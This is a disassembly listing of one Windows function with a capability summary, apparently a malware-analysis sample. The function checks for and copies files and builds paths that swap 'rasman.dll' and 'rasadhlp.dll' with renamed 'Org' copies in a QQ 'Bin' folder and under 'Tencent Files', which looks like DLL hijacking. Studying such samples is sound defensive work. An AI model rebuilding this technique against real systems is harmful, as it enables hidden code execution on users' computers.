Function at 0x401420
Capabilities:
Check if file exists
Copy file
Get common file path

Disassembly:
sub esp, 0x53c
push ebx
push ebp
push esi
push edi
push 0x406660
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x13c]
lea edx, [esp + 0x13c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x240]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x448]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x344]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x550]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004013e0
mov ebp, eax
xor ebx, ebx
cmp ebp, ebx
je 0x4014d9
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x13c]
push ecx
lea edx, [esp + 0x244]
push str._sBin_rasman.dll
push edx
call esi
lea eax, [esp + 0x148]
lea ecx, [esp + 0x454]
push eax
push str._sBin_rasmanOrg.dll
push ecx
jmp 0x40150b
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x13c]
push edx
lea eax, [esp + 0x244]
push str._sBin_rasadhlp.dll
push eax
call esi
lea ecx, [esp + 0x148]
lea edx, [esp + 0x454]
push ecx
push str._sBin_rasadhlpOrg.dll
push edx
call esi
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x28]
add esp, 0x18
rep stosd dword es:[edi], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x13c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Binqq.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x240]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call esi
test eax, eax
jne 0x4016ed
lea ecx, [esp + 0x13c]
push ecx
call esi
test eax, eax
je 0x4016ed
push ebx
call section..text
lea edx, [esp + 0x344]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp ebp, ebx
lea edx, [esp + 0x344]
mov edi, str._rasman.dll
jne 0x4015e0
mov edi, str._rasadhlp.dll
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x44c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x40608c
lea edx, [esp + 0x244]
push 0x6a
push edx
call fcn.004010b0
mov edi, str.Users
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
push eax
mov byte [esp + ecx + 0x20], bl
mov byte [esp + ecx + 0x21], bl
call fcn.004013a0
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
push ecx
call fcn.00401330
mov edi, str.Tencent_Files
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x24]
push eax
mov byte [esp + ecx + 0x28], bl
mov byte [esp + ecx + 0x29], bl
call fcn.004013a0
add esp, 0x18
push 0x406660
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x53c
ret